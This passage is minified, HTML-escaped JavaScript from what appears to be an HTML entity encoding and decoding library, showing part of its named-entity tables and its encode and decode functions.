&quot;,qfr:&quot;𝔮&quot;,Qfr:&quot;𝔔&quot;,qint:&quot;⨌&quot;,qopf:&quot;𝕢&quot;,Qopf:&quot;ℚ&quot;,qprime:&quot;⁗&quot;,qscr:&quot;𝓆&quot;,Qscr:&quot;𝒬&quot;,quaternions:&quot;ℍ&quot;,quatint:&quot;⨖&quot;,quest:&quot;?&quot;,questeq:&quot;≟&quot;,quot:&#039;&quot;&#039;,QUOT:&#039;&quot;&#039;,rAarr:&quot;⇛&quot;,race:&quot;∽̱&quot;,racute:&quot;ŕ&quot;,Racute:&quot;Ŕ&quot;,radic:&quot;√&quot;,raemptyv:&quot;⦳&quot;,rang:&quot;⟩&quot;,Rang:&quot;⟫&quot;,rangd:&quot;⦒&quot;,range:&quot;⦥&quot;,rangle:&quot;⟩&quot;,raquo:&quot;»&quot;,rarr:&quot;→&quot;,rArr:&quot;⇒&quot;,Rarr:&quot;↠&quot;,rarrap:&quot;⥵&quot;,rarrb:&quot;⇥&quot;,rarrbfs:&quot;⤠&quot;,rarrc:&quot;⤳&quot;,rarrfs:&quot;⤞&quot;,rarrhk:&quot;↪&quot;,rarrlp:&quot;↬&quot;,rarrpl:&quot;⥅&quot;,rarrsim:&quot;⥴&quot;,rarrtl:&quot;↣&quot;,Rarrtl:&quot;⤖&quot;,rarrw:&quot;↝&quot;,ratail:&quot;⤚&quot;,rAtail:&quot;⤜&quot;,ratio:&quot;∶&quot;,rationals:&quot;ℚ&quot;,rbarr:&quot;⤍&quot;,rBarr:&quot;⤏&quot;,RBarr:&quot;⤐&quot;,rbbrk:&quot;❳&quot;,rbrace:&quot;}&quot;,rbrack:&quot;]&quot;,rbrke:&quot;⦌&quot;,rbrksld:&quot;⦎&quot;,rbrkslu:&quot;⦐&quot;,rcaron:&quot;ř&quot;,Rcaron:&quot;Ř&quot;,rcedil:&quot;ŗ&quot;,Rcedil:&quot;Ŗ&quot;,rceil:&quot;⌉&quot;,rcub:&quot;}&quot;,rcy:&quot;р&quot;,Rcy:&quot;Р&quot;,rdca:&quot;⤷&quot;,rdldhar:&quot;⥩&quot;,rdquo:&quot;”&quot;,rdquor:&quot;”&quot;,rdsh:&quot;↳&quot;,Re:&quot;ℜ&quot;,real:&quot;ℜ&quot;,realine:&quot;ℛ&quot;,realpart:&quot;ℜ&quot;,reals:&quot;ℝ&quot;,rect:&quot;▭&quot;,reg:&quot;®&quot;,REG:&quot;®&quot;,ReverseElement:&quot;∋&quot;,ReverseEquilibrium:&quot;⇋&quot;,ReverseUpEquilibrium:&quot;⥯&quot;,rfisht:&quot;⥽&quot;,rfloor:&quot;⌋&quot;,rfr:&quot;𝔯&quot;,Rfr:&quot;ℜ&quot;,rHar:&quot;⥤&quot;,rhard:&quot;⇁&quot;,rharu:&quot;⇀&quot;,rharul:&quot;⥬&quot;,rho:&quot;ρ&quot;,Rho:&quot;Ρ&quot;,rhov:&quot;ϱ&quot;,RightAngleBracket:&quot;⟩&quot;,rightarrow:&quot;→&quot;,Rightarrow:&quot;⇒&quot;,RightArrow:&quot;→&quot;,RightArrowBar:&quot;⇥&quot;,RightArrowLeftArrow:&quot;⇄&quot;,rightarrowtail:&quot;↣&quot;,RightCeiling:&quot;⌉&quot;,RightDoubleBracket:&quot;⟧&quot;,RightDownTeeVector:&quot;⥝&quot;,RightDownVector:&quot;⇂&quot;,RightDownVectorBar:&quot;⥕&quot;,RightFloor:&quot;⌋&quot;,rightharpoondown:&quot;⇁&quot;,rightharpoonup:&quot;⇀&quot;,rightleftarrows:&quot;⇄&quot;,rightleftharpoons:&quot;⇌&quot;,rightrightarrows:&quot;⇉&quot;,rightsquigarrow:&quot;↝&quot;,RightTee:&quot;⊢&quot;,RightTeeArrow:&quot;↦&quot;,RightTeeVector:&quot;⥛&quot;,rightthreetimes:&quot;⋌&quot;,RightTriangle:&quot;⊳&quot;,RightTriangleBar:&quot;⧐&quot;,RightTriangleEqual:&quot;⊵&quot;,RightUpDownVector:&quot;⥏&quot;,RightUpTeeVector:&quot;⥜&quot;,RightUpVector:&quot;↾&quot;,RightUpVectorBar:&quot;⥔&quot;,RightVector:&quot;⇀&quot;,RightVectorBar:&quot;⥓&quot;,ring:&quot;˚&quot;,risingdotseq:&quot;≓&quot;,rlarr:&quot;⇄&quot;,rlhar:&quot;⇌&quot;,rlm:&quot;‏&quot;,rmoust:&quot;⎱&quot;,rmoustache:&quot;⎱&quot;,rnmid:&quot;⫮&quot;,roang:&quot;⟭&quot;,roarr:&quot;⇾&quot;,robrk:&quot;⟧&quot;,ropar:&quot;⦆&quot;,ropf:&quot;𝕣&quot;,Ropf:&quot;ℝ&quot;,roplus:&quot;⨮&quot;,rotimes:&quot;⨵&quot;,RoundImplies:&quot;⥰&quot;,rpar:&quot;)&quot;,rpargt:&quot;⦔&quot;,rppolint:&quot;⨒&quot;,rrarr:&quot;⇉&quot;,Rrightarrow:&quot;⇛&quot;,rsaquo:&quot;›&quot;,rscr:&quot;𝓇&quot;,Rscr:&quot;ℛ&quot;,rsh:&quot;↱&quot;,Rsh:&quot;↱&quot;,rsqb:&quot;]&quot;,rsquo:&quot;’&quot;,rsquor:&quot;’&quot;,rthree:&quot;⋌&quot;,rtimes:&quot;⋊&quot;,rtri:&quot;▹&quot;,rtrie:&quot;⊵&quot;,rtrif:&quot;▸&quot;,rtriltri:&quot;⧎&quot;,RuleDelayed:&quot;⧴&quot;,ruluhar:&quot;⥨&quot;,rx:&quot;℞&quot;,sacute:&quot;ś&quot;,Sacute:&quot;Ś&quot;,sbquo:&quot;‚&quot;,sc:&quot;≻&quot;,Sc:&quot;⪼&quot;,scap:&quot;⪸&quot;,scaron:&quot;š&quot;,Scaron:&quot;Š&quot;,sccue:&quot;≽&quot;,sce:&quot;⪰&quot;,scE:&quot;⪴&quot;,scedil:&quot;ş&quot;,Scedil:&quot;Ş&quot;,scirc:&quot;ŝ&quot;,Scirc:&quot;Ŝ&quot;,scnap:&quot;⪺&quot;,scnE:&quot;⪶&quot;,scnsim:&quot;⋩&quot;,scpolint:&quot;⨓&quot;,scsim:&quot;≿&quot;,scy:&quot;с&quot;,Scy:&quot;С&quot;,sdot:&quot;⋅&quot;,sdotb:&quot;⊡&quot;,sdote:&quot;⩦&quot;,searhk:&quot;⤥&quot;,searr:&quot;↘&quot;,seArr:&quot;⇘&quot;,searrow:&quot;↘&quot;,sect:&quot;§&quot;,semi:&quot;;&quot;,seswar:&quot;⤩&quot;,setminus:&quot;∖&quot;,setmn:&quot;∖&quot;,sext:&quot;✶&quot;,sfr:&quot;𝔰&quot;,Sfr:&quot;𝔖&quot;,sfrown:&quot;⌢&quot;,sharp:&quot;♯&quot;,shchcy:&quot;щ&quot;,SHCHcy:&quot;Щ&quot;,shcy:&quot;ш&quot;,SHcy:&quot;Ш&quot;,ShortDownArrow:&quot;↓&quot;,ShortLeftArrow:&quot;←&quot;,shortmid:&quot;∣&quot;,shortparallel:&quot;∥&quot;,ShortRightArrow:&quot;→&quot;,ShortUpArrow:&quot;↑&quot;,shy:&quot;­&quot;,sigma:&quot;σ&quot;,Sigma:&quot;Σ&quot;,sigmaf:&quot;ς&quot;,sigmav:&quot;ς&quot;,sim:&quot;∼&quot;,simdot:&quot;⩪&quot;,sime:&quot;≃&quot;,simeq:&quot;≃&quot;,simg:&quot;⪞&quot;,simgE:&quot;⪠&quot;,siml:&quot;⪝&quot;,simlE:&quot;⪟&quot;,simne:&quot;≆&quot;,simplus:&quot;⨤&quot;,simrarr:&quot;⥲&quot;,slarr:&quot;←&quot;,SmallCircle:&quot;∘&quot;,smallsetminus:&quot;∖&quot;,smashp:&quot;⨳&quot;,smeparsl:&quot;⧤&quot;,smid:&quot;∣&quot;,smile:&quot;⌣&quot;,smt:&quot;⪪&quot;,smte:&quot;⪬&quot;,smtes:&quot;⪬︀&quot;,softcy:&quot;ь&quot;,SOFTcy:&quot;Ь&quot;,sol:&quot;/&quot;,solb:&quot;⧄&quot;,solbar:&quot;⌿&quot;,sopf:&quot;𝕤&quot;,Sopf:&quot;𝕊&quot;,spades:&quot;♠&quot;,spadesuit:&quot;♠&quot;,spar:&quot;∥&quot;,sqcap:&quot;⊓&quot;,sqcaps:&quot;⊓︀&quot;,sqcup:&quot;⊔&quot;,sqcups:&quot;⊔︀&quot;,Sqrt:&quot;√&quot;,sqsub:&quot;⊏&quot;,sqsube:&quot;⊑&quot;,sqsubset:&quot;⊏&quot;,sqsubseteq:&quot;⊑&quot;,sqsup:&quot;⊐&quot;,sqsupe:&quot;⊒&quot;,sqsupset:&quot;⊐&quot;,sqsupseteq:&quot;⊒&quot;,squ:&quot;□&quot;,square:&quot;□&quot;,Square:&quot;□&quot;,SquareIntersection:&quot;⊓&quot;,SquareSubset:&quot;⊏&quot;,SquareSubsetEqual:&quot;⊑&quot;,SquareSuperset:&quot;⊐&quot;,SquareSupersetEqual:&quot;⊒&quot;,SquareUnion:&quot;⊔&quot;,squarf:&quot;▪&quot;,squf:&quot;▪&quot;,srarr:&quot;→&quot;,sscr:&quot;𝓈&quot;,Sscr:&quot;𝒮&quot;,ssetmn:&quot;∖&quot;,ssmile:&quot;⌣&quot;,sstarf:&quot;⋆&quot;,star:&quot;☆&quot;,Star:&quot;⋆&quot;,starf:&quot;★&quot;,straightepsilon:&quot;ϵ&quot;,straightphi:&quot;ϕ&quot;,strns:&quot;¯&quot;,sub:&quot;⊂&quot;,Sub:&quot;⋐&quot;,subdot:&quot;⪽&quot;,sube:&quot;⊆&quot;,subE:&quot;⫅&quot;,subedot:&quot;⫃&quot;,submult:&quot;⫁&quot;,subne:&quot;⊊&quot;,subnE:&quot;⫋&quot;,subplus:&quot;⪿&quot;,subrarr:&quot;⥹&quot;,subset:&quot;⊂&quot;,Subset:&quot;⋐&quot;,subseteq:&quot;⊆&quot;,subseteqq:&quot;⫅&quot;,SubsetEqual:&quot;⊆&quot;,subsetneq:&quot;⊊&quot;,subsetneqq:&quot;⫋&quot;,subsim:&quot;⫇&quot;,subsub:&quot;⫕&quot;,subsup:&quot;⫓&quot;,succ:&quot;≻&quot;,succapprox:&quot;⪸&quot;,succcurlyeq:&quot;≽&quot;,Succeeds:&quot;≻&quot;,SucceedsEqual:&quot;⪰&quot;,SucceedsSlantEqual:&quot;≽&quot;,SucceedsTilde:&quot;≿&quot;,succeq:&quot;⪰&quot;,succnapprox:&quot;⪺&quot;,succneqq:&quot;⪶&quot;,succnsim:&quot;⋩&quot;,succsim:&quot;≿&quot;,SuchThat:&quot;∋&quot;,sum:&quot;∑&quot;,Sum:&quot;∑&quot;,sung:&quot;♪&quot;,sup:&quot;⊃&quot;,Sup:&quot;⋑&quot;,sup1:&quot;¹&quot;,sup2:&quot;²&quot;,sup3:&quot;³&quot;,supdot:&quot;⪾&quot;,supdsub:&quot;⫘&quot;,supe:&quot;⊇&quot;,supE:&quot;⫆&quot;,supedot:&quot;⫄&quot;,Superset:&quot;⊃&quot;,SupersetEqual:&quot;⊇&quot;,suphsol:&quot;⟉&quot;,suphsub:&quot;⫗&quot;,suplarr:&quot;⥻&quot;,supmult:&quot;⫂&quot;,supne:&quot;⊋&quot;,supnE:&quot;⫌&quot;,supplus:&quot;⫀&quot;,supset:&quot;⊃&quot;,Supset:&quot;⋑&quot;,supseteq:&quot;⊇&quot;,supseteqq:&quot;⫆&quot;,supsetneq:&quot;⊋&quot;,supsetneqq:&quot;⫌&quot;,supsim:&quot;⫈&quot;,supsub:&quot;⫔&quot;,supsup:&quot;⫖&quot;,swarhk:&quot;⤦&quot;,swarr:&quot;↙&quot;,swArr:&quot;⇙&quot;,swarrow:&quot;↙&quot;,swnwar:&quot;⤪&quot;,szlig:&quot;ß&quot;,Tab:&quot;\t&quot;,target:&quot;⌖&quot;,tau:&quot;τ&quot;,Tau:&quot;Τ&quot;,tbrk:&quot;⎴&quot;,tcaron:&quot;ť&quot;,Tcaron:&quot;Ť&quot;,tcedil:&quot;ţ&quot;,Tcedil:&quot;Ţ&quot;,tcy:&quot;т&quot;,Tcy:&quot;Т&quot;,tdot:&quot;⃛&quot;,telrec:&quot;⌕&quot;,tfr:&quot;𝔱&quot;,Tfr:&quot;𝔗&quot;,there4:&quot;∴&quot;,therefore:&quot;∴&quot;,Therefore:&quot;∴&quot;,theta:&quot;θ&quot;,Theta:&quot;Θ&quot;,thetasym:&quot;ϑ&quot;,thetav:&quot;ϑ&quot;,thickapprox:&quot;≈&quot;,thicksim:&quot;∼&quot;,ThickSpace:&quot;  &quot;,thinsp:&quot; &quot;,ThinSpace:&quot; &quot;,thkap:&quot;≈&quot;,thksim:&quot;∼&quot;,thorn:&quot;þ&quot;,THORN:&quot;Þ&quot;,tilde:&quot;˜&quot;,Tilde:&quot;∼&quot;,TildeEqual:&quot;≃&quot;,TildeFullEqual:&quot;≅&quot;,TildeTilde:&quot;≈&quot;,times:&quot;×&quot;,timesb:&quot;⊠&quot;,timesbar:&quot;⨱&quot;,timesd:&quot;⨰&quot;,tint:&quot;∭&quot;,toea:&quot;⤨&quot;,top:&quot;⊤&quot;,topbot:&quot;⌶&quot;,topcir:&quot;⫱&quot;,topf:&quot;𝕥&quot;,Topf:&quot;𝕋&quot;,topfork:&quot;⫚&quot;,tosa:&quot;⤩&quot;,tprime:&quot;‴&quot;,trade:&quot;™&quot;,TRADE:&quot;™&quot;,triangle:&quot;▵&quot;,triangledown:&quot;▿&quot;,triangleleft:&quot;◃&quot;,trianglelefteq:&quot;⊴&quot;,triangleq:&quot;≜&quot;,triangleright:&quot;▹&quot;,trianglerighteq:&quot;⊵&quot;,tridot:&quot;◬&quot;,trie:&quot;≜&quot;,triminus:&quot;⨺&quot;,TripleDot:&quot;⃛&quot;,triplus:&quot;⨹&quot;,trisb:&quot;⧍&quot;,tritime:&quot;⨻&quot;,trpezium:&quot;⏢&quot;,tscr:&quot;𝓉&quot;,Tscr:&quot;𝒯&quot;,tscy:&quot;ц&quot;,TScy:&quot;Ц&quot;,tshcy:&quot;ћ&quot;,TSHcy:&quot;Ћ&quot;,tstrok:&quot;ŧ&quot;,Tstrok:&quot;Ŧ&quot;,twixt:&quot;≬&quot;,twoheadleftarrow:&quot;↞&quot;,twoheadrightarrow:&quot;↠&quot;,uacute:&quot;ú&quot;,Uacute:&quot;Ú&quot;,uarr:&quot;↑&quot;,uArr:&quot;⇑&quot;,Uarr:&quot;↟&quot;,Uarrocir:&quot;⥉&quot;,ubrcy:&quot;ў&quot;,Ubrcy:&quot;Ў&quot;,ubreve:&quot;ŭ&quot;,Ubreve:&quot;Ŭ&quot;,ucirc:&quot;û&quot;,Ucirc:&quot;Û&quot;,ucy:&quot;у&quot;,Ucy:&quot;У&quot;,udarr:&quot;⇅&quot;,udblac:&quot;ű&quot;,Udblac:&quot;Ű&quot;,udhar:&quot;⥮&quot;,ufisht:&quot;⥾&quot;,ufr:&quot;𝔲&quot;,Ufr:&quot;𝔘&quot;,ugrave:&quot;ù&quot;,Ugrave:&quot;Ù&quot;,uHar:&quot;⥣&quot;,uharl:&quot;↿&quot;,uharr:&quot;↾&quot;,uhblk:&quot;▀&quot;,ulcorn:&quot;⌜&quot;,ulcorner:&quot;⌜&quot;,ulcrop:&quot;⌏&quot;,ultri:&quot;◸&quot;,umacr:&quot;ū&quot;,Umacr:&quot;Ū&quot;,uml:&quot;¨&quot;,UnderBar:&quot;_&quot;,UnderBrace:&quot;⏟&quot;,UnderBracket:&quot;⎵&quot;,UnderParenthesis:&quot;⏝&quot;,Union:&quot;⋃&quot;,UnionPlus:&quot;⊎&quot;,uogon:&quot;ų&quot;,Uogon:&quot;Ų&quot;,uopf:&quot;𝕦&quot;,Uopf:&quot;𝕌&quot;,uparrow:&quot;↑&quot;,Uparrow:&quot;⇑&quot;,UpArrow:&quot;↑&quot;,UpArrowBar:&quot;⤒&quot;,UpArrowDownArrow:&quot;⇅&quot;,updownarrow:&quot;↕&quot;,Updownarrow:&quot;⇕&quot;,UpDownArrow:&quot;↕&quot;,UpEquilibrium:&quot;⥮&quot;,upharpoonleft:&quot;↿&quot;,upharpoonright:&quot;↾&quot;,uplus:&quot;⊎&quot;,UpperLeftArrow:&quot;↖&quot;,UpperRightArrow:&quot;↗&quot;,upsi:&quot;υ&quot;,Upsi:&quot;ϒ&quot;,upsih:&quot;ϒ&quot;,upsilon:&quot;υ&quot;,Upsilon:&quot;Υ&quot;,UpTee:&quot;⊥&quot;,UpTeeArrow:&quot;↥&quot;,upuparrows:&quot;⇈&quot;,urcorn:&quot;⌝&quot;,urcorner:&quot;⌝&quot;,urcrop:&quot;⌎&quot;,uring:&quot;ů&quot;,Uring:&quot;Ů&quot;,urtri:&quot;◹&quot;,uscr:&quot;𝓊&quot;,Uscr:&quot;𝒰&quot;,utdot:&quot;⋰&quot;,utilde:&quot;ũ&quot;,Utilde:&quot;Ũ&quot;,utri:&quot;▵&quot;,utrif:&quot;▴&quot;,uuarr:&quot;⇈&quot;,uuml:&quot;ü&quot;,Uuml:&quot;Ü&quot;,uwangle:&quot;⦧&quot;,vangrt:&quot;⦜&quot;,varepsilon:&quot;ϵ&quot;,varkappa:&quot;ϰ&quot;,varnothing:&quot;∅&quot;,varphi:&quot;ϕ&quot;,varpi:&quot;ϖ&quot;,varpropto:&quot;∝&quot;,varr:&quot;↕&quot;,vArr:&quot;⇕&quot;,varrho:&quot;ϱ&quot;,varsigma:&quot;ς&quot;,varsubsetneq:&quot;⊊︀&quot;,varsubsetneqq:&quot;⫋︀&quot;,varsupsetneq:&quot;⊋︀&quot;,varsupsetneqq:&quot;⫌︀&quot;,vartheta:&quot;ϑ&quot;,vartriangleleft:&quot;⊲&quot;,vartriangleright:&quot;⊳&quot;,vBar:&quot;⫨&quot;,Vbar:&quot;⫫&quot;,vBarv:&quot;⫩&quot;,vcy:&quot;в&quot;,Vcy:&quot;В&quot;,vdash:&quot;⊢&quot;,vDash:&quot;⊨&quot;,Vdash:&quot;⊩&quot;,VDash:&quot;⊫&quot;,Vdashl:&quot;⫦&quot;,vee:&quot;∨&quot;,Vee:&quot;⋁&quot;,veebar:&quot;⊻&quot;,veeeq:&quot;≚&quot;,vellip:&quot;⋮&quot;,verbar:&quot;|&quot;,Verbar:&quot;‖&quot;,vert:&quot;|&quot;,Vert:&quot;‖&quot;,VerticalBar:&quot;∣&quot;,VerticalLine:&quot;|&quot;,VerticalSeparator:&quot;❘&quot;,VerticalTilde:&quot;≀&quot;,VeryThinSpace:&quot; &quot;,vfr:&quot;𝔳&quot;,Vfr:&quot;𝔙&quot;,vltri:&quot;⊲&quot;,vnsub:&quot;⊂⃒&quot;,vnsup:&quot;⊃⃒&quot;,vopf:&quot;𝕧&quot;,Vopf:&quot;𝕍&quot;,vprop:&quot;∝&quot;,vrtri:&quot;⊳&quot;,vscr:&quot;𝓋&quot;,Vscr:&quot;𝒱&quot;,vsubne:&quot;⊊︀&quot;,vsubnE:&quot;⫋︀&quot;,vsupne:&quot;⊋︀&quot;,vsupnE:&quot;⫌︀&quot;,Vvdash:&quot;⊪&quot;,vzigzag:&quot;⦚&quot;,wcirc:&quot;ŵ&quot;,Wcirc:&quot;Ŵ&quot;,wedbar:&quot;⩟&quot;,wedge:&quot;∧&quot;,Wedge:&quot;⋀&quot;,wedgeq:&quot;≙&quot;,weierp:&quot;℘&quot;,wfr:&quot;𝔴&quot;,Wfr:&quot;𝔚&quot;,wopf:&quot;𝕨&quot;,Wopf:&quot;𝕎&quot;,wp:&quot;℘&quot;,wr:&quot;≀&quot;,wreath:&quot;≀&quot;,wscr:&quot;𝓌&quot;,Wscr:&quot;𝒲&quot;,xcap:&quot;⋂&quot;,xcirc:&quot;◯&quot;,xcup:&quot;⋃&quot;,xdtri:&quot;▽&quot;,xfr:&quot;𝔵&quot;,Xfr:&quot;𝔛&quot;,xharr:&quot;⟷&quot;,xhArr:&quot;⟺&quot;,xi:&quot;ξ&quot;,Xi:&quot;Ξ&quot;,xlarr:&quot;⟵&quot;,xlArr:&quot;⟸&quot;,xmap:&quot;⟼&quot;,xnis:&quot;⋻&quot;,xodot:&quot;⨀&quot;,xopf:&quot;𝕩&quot;,Xopf:&quot;𝕏&quot;,xoplus:&quot;⨁&quot;,xotime:&quot;⨂&quot;,xrarr:&quot;⟶&quot;,xrArr:&quot;⟹&quot;,xscr:&quot;𝓍&quot;,Xscr:&quot;𝒳&quot;,xsqcup:&quot;⨆&quot;,xuplus:&quot;⨄&quot;,xutri:&quot;△&quot;,xvee:&quot;⋁&quot;,xwedge:&quot;⋀&quot;,yacute:&quot;ý&quot;,Yacute:&quot;Ý&quot;,yacy:&quot;я&quot;,YAcy:&quot;Я&quot;,ycirc:&quot;ŷ&quot;,Ycirc:&quot;Ŷ&quot;,ycy:&quot;ы&quot;,Ycy:&quot;Ы&quot;,yen:&quot;¥&quot;,yfr:&quot;𝔶&quot;,Yfr:&quot;𝔜&quot;,yicy:&quot;ї&quot;,YIcy:&quot;Ї&quot;,yopf:&quot;𝕪&quot;,Yopf:&quot;𝕐&quot;,yscr:&quot;𝓎&quot;,Yscr:&quot;𝒴&quot;,yucy:&quot;ю&quot;,YUcy:&quot;Ю&quot;,yuml:&quot;ÿ&quot;,Yuml:&quot;Ÿ&quot;,zacute:&quot;ź&quot;,Zacute:&quot;Ź&quot;,zcaron:&quot;ž&quot;,Zcaron:&quot;Ž&quot;,zcy:&quot;з&quot;,Zcy:&quot;З&quot;,zdot:&quot;ż&quot;,Zdot:&quot;Ż&quot;,zeetrf:&quot;ℨ&quot;,ZeroWidthSpace:&quot;​&quot;,zeta:&quot;ζ&quot;,Zeta:&quot;Ζ&quot;,zfr:&quot;𝔷&quot;,Zfr:&quot;ℨ&quot;,zhcy:&quot;ж&quot;,ZHcy:&quot;Ж&quot;,zigrarr:&quot;⇝&quot;,zopf:&quot;𝕫&quot;,Zopf:&quot;ℤ&quot;,zscr:&quot;𝓏&quot;,Zscr:&quot;𝒵&quot;,zwj:&quot;‍&quot;,zwnj:&quot;‌&quot;},y={aacute:&quot;á&quot;,Aacute:&quot;Á&quot;,acirc:&quot;â&quot;,Acirc:&quot;Â&quot;,acute:&quot;´&quot;,aelig:&quot;æ&quot;,AElig:&quot;Æ&quot;,agrave:&quot;à&quot;,Agrave:&quot;À&quot;,amp:&quot;&amp;&quot;,AMP:&quot;&amp;&quot;,aring:&quot;å&quot;,Aring:&quot;Å&quot;,atilde:&quot;ã&quot;,Atilde:&quot;Ã&quot;,auml:&quot;ä&quot;,Auml:&quot;Ä&quot;,brvbar:&quot;¦&quot;,ccedil:&quot;ç&quot;,Ccedil:&quot;Ç&quot;,cedil:&quot;¸&quot;,cent:&quot;¢&quot;,copy:&quot;©&quot;,COPY:&quot;©&quot;,curren:&quot;¤&quot;,deg:&quot;°&quot;,divide:&quot;÷&quot;,eacute:&quot;é&quot;,Eacute:&quot;É&quot;,ecirc:&quot;ê&quot;,Ecirc:&quot;Ê&quot;,egrave:&quot;è&quot;,Egrave:&quot;È&quot;,eth:&quot;ð&quot;,ETH:&quot;Ð&quot;,euml:&quot;ë&quot;,Euml:&quot;Ë&quot;,frac12:&quot;½&quot;,frac14:&quot;¼&quot;,frac34:&quot;¾&quot;,gt:&quot;&gt;&quot;,GT:&quot;&gt;&quot;,iacute:&quot;í&quot;,Iacute:&quot;Í&quot;,icirc:&quot;î&quot;,Icirc:&quot;Î&quot;,iexcl:&quot;¡&quot;,igrave:&quot;ì&quot;,Igrave:&quot;Ì&quot;,iquest:&quot;¿&quot;,iuml:&quot;ï&quot;,Iuml:&quot;Ï&quot;,laquo:&quot;«&quot;,lt:&quot;&lt;&quot;,LT:&quot;&lt;&quot;,macr:&quot;¯&quot;,micro:&quot;µ&quot;,middot:&quot;·&quot;,nbsp:&quot; &quot;,not:&quot;¬&quot;,ntilde:&quot;ñ&quot;,Ntilde:&quot;Ñ&quot;,oacute:&quot;ó&quot;,Oacute:&quot;Ó&quot;,ocirc:&quot;ô&quot;,Ocirc:&quot;Ô&quot;,ograve:&quot;ò&quot;,Ograve:&quot;Ò&quot;,ordf:&quot;ª&quot;,ordm:&quot;º&quot;,oslash:&quot;ø&quot;,Oslash:&quot;Ø&quot;,otilde:&quot;õ&quot;,Otilde:&quot;Õ&quot;,ouml:&quot;ö&quot;,Ouml:&quot;Ö&quot;,para:&quot;¶&quot;,plusmn:&quot;±&quot;,pound:&quot;£&quot;,quot:&#039;&quot;&#039;,QUOT:&#039;&quot;&#039;,raquo:&quot;»&quot;,reg:&quot;®&quot;,REG:&quot;®&quot;,sect:&quot;§&quot;,shy:&quot;­&quot;,sup1:&quot;¹&quot;,sup2:&quot;²&quot;,sup3:&quot;³&quot;,szlig:&quot;ß&quot;,thorn:&quot;þ&quot;,THORN:&quot;Þ&quot;,times:&quot;×&quot;,uacute:&quot;ú&quot;,Uacute:&quot;Ú&quot;,ucirc:&quot;û&quot;,Ucirc:&quot;Û&quot;,ugrave:&quot;ù&quot;,Ugrave:&quot;Ù&quot;,uml:&quot;¨&quot;,uuml:&quot;ü&quot;,Uuml:&quot;Ü&quot;,yacute:&quot;ý&quot;,Yacute:&quot;Ý&quot;,yen:&quot;¥&quot;,yuml:&quot;ÿ&quot;},v={0:&quot;�&quot;,128:&quot;€&quot;,130:&quot;‚&quot;,131:&quot;ƒ&quot;,132:&quot;„&quot;,133:&quot;…&quot;,134:&quot;†&quot;,135:&quot;‡&quot;,136:&quot;ˆ&quot;,137:&quot;‰&quot;,138:&quot;Š&quot;,139:&quot;‹&quot;,140:&quot;Œ&quot;,142:&quot;Ž&quot;,145:&quot;‘&quot;,146:&quot;’&quot;,147:&quot;“&quot;,148:&quot;”&quot;,149:&quot;•&quot;,150:&quot;–&quot;,151:&quot;—&quot;,152:&quot;˜&quot;,153:&quot;™&quot;,154:&quot;š&quot;,155:&quot;›&quot;,156:&quot;œ&quot;,158:&quot;ž&quot;,159:&quot;Ÿ&quot;},w=[1,2,3,4,5,6,7,8,11,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,64976,64977,64978,64979,64980,64981,64982,64983,64984,64985,64986,64987,64988,64989,64990,64991,64992,64993,64994,64995,64996,64997,64998,64999,65e3,65001,65002,65003,65004,65005,65006,65007,65534,65535,131070,131071,196606,196607,262142,262143,327678,327679,393214,393215,458750,458751,524286,524287,589822,589823,655358,655359,720894,720895,786430,786431,851966,851967,917502,917503,983038,983039,1048574,1048575,1114110,1114111],S=String.fromCharCode,x={}.hasOwnProperty,k=function(e,t){return x.call(e,t)},E=function(e,t){if(!e)return t;var i,a={};for(i in t)a[i]=k(e,i)?e[i]:t[i];return a},A=function(e,t){var i=&quot;&quot;;return e&gt;=55296&amp;&amp;e&lt;=57343||e&gt;1114111?(t&amp;&amp;L(&quot;character reference outside the permissible Unicode range&quot;),&quot;�&quot;):k(v,e)?(t&amp;&amp;L(&quot;disallowed character reference&quot;),v[e]):(t&amp;&amp;function(e,t){for(var i=-1,a=e.length;++i&lt;a;)if(e[i]==t)return!0;return!1}(w,e)&amp;&amp;L(&quot;disallowed character reference&quot;),e&gt;65535&amp;&amp;(i+=S((e-=65536)&gt;&gt;&gt;10&amp;1023|55296),e=56320|1023&amp;e),i+=S(e))},D=function(e){return&quot;&amp;#x&quot;+e.toString(16).toUpperCase()+&quot;;&quot;},T=function(e){return&quot;&amp;#&quot;+e+&quot;;&quot;},L=function(e){throw Error(&quot;Parse error: &quot;+e)},C=function(e,t){(t=E(t,C.options)).strict&amp;&amp;g.test(e)&amp;&amp;L(&quot;forbidden code point&quot;);var i=t.encodeEverything,a=t.useNamedReferences,s=t.allowUnsafeSymbols,r=t.decimal?T:D,n=function(e){return r(e.charCodeAt(0))};return i?(e=e.replace(l,(function(e){return a&amp;&amp;k(h,e)?&quot;&amp;&quot;+h[e]+&quot;;&quot;:n(e)})),a&amp;&amp;(e=e.replace(/&amp;gt;\u20D2/g,&quot;&amp;nvgt;&quot;).replace(/&amp;lt;\u20D2/g,&quot;&amp;nvlt;&quot;).replace(/&amp;#x66;&amp;#x6A;/g,&quot;&amp;fjlig;&quot;)),a&amp;&amp;(e=e.replace(u,(function(e){return&quot;&amp;&quot;+h[e]+&quot;;&quot;})))):a?(s||(e=e.replace(d,(function(e){return&quot;&amp;&quot;+h[e]+&quot;;&quot;}))),e=(e=e.replace(/&amp;gt;\u20D2/g,&quot;&amp;nvgt;&quot;).replace(/&amp;lt;\u20D2/g,&quot;&amp;nvlt;&quot;)).replace(u,(function(e){return&quot;&amp;&quot;+h[e]+&quot;;&quot;}))):s||(e=e.replace(d,n)),e.replace(o,(function(e){var t=e.charCodeAt(0),i=e.charCodeAt(1);return r(1024*(t-55296)+i-56320+65536)})).replace(c,n)};C.options={allowUnsafeSymbols:!1,encodeEverything:!1,strict:!1,useNamedReferences:!1,decimal:!1};var q=function(e,t){var i=(t=E(t,q.options)).strict;return i&amp;&amp;m.test(e)&amp;&amp;L(&quot;malformed character reference&quot;),e.replace(f,(function(e,a,s,r,n,o,l,c,u){var h,d,p,m,g,f;return a?b[g=a]:s?(g=s,(f=r)&amp;&amp;t.isAttributeValue?(i&amp;&amp;&quot;=&quot;==f&amp;&amp;L(&quot;`&amp;` did not start a character reference&quot;),e):(i&amp;&amp;L(&quot;named character reference was not terminated by a semicolon&quot;),y[g]+(f||&quot;&quot;))):n?(p=n,d=o,i&amp;&amp;!d&amp;&amp;L(&quot;character reference was not terminated by a semicolon&quot;),h=parseInt(p,10),A(h,i)):l?(m=l,d=c,i&amp;&amp;!d&amp;&amp;L(&quot;character reference was not terminated by a 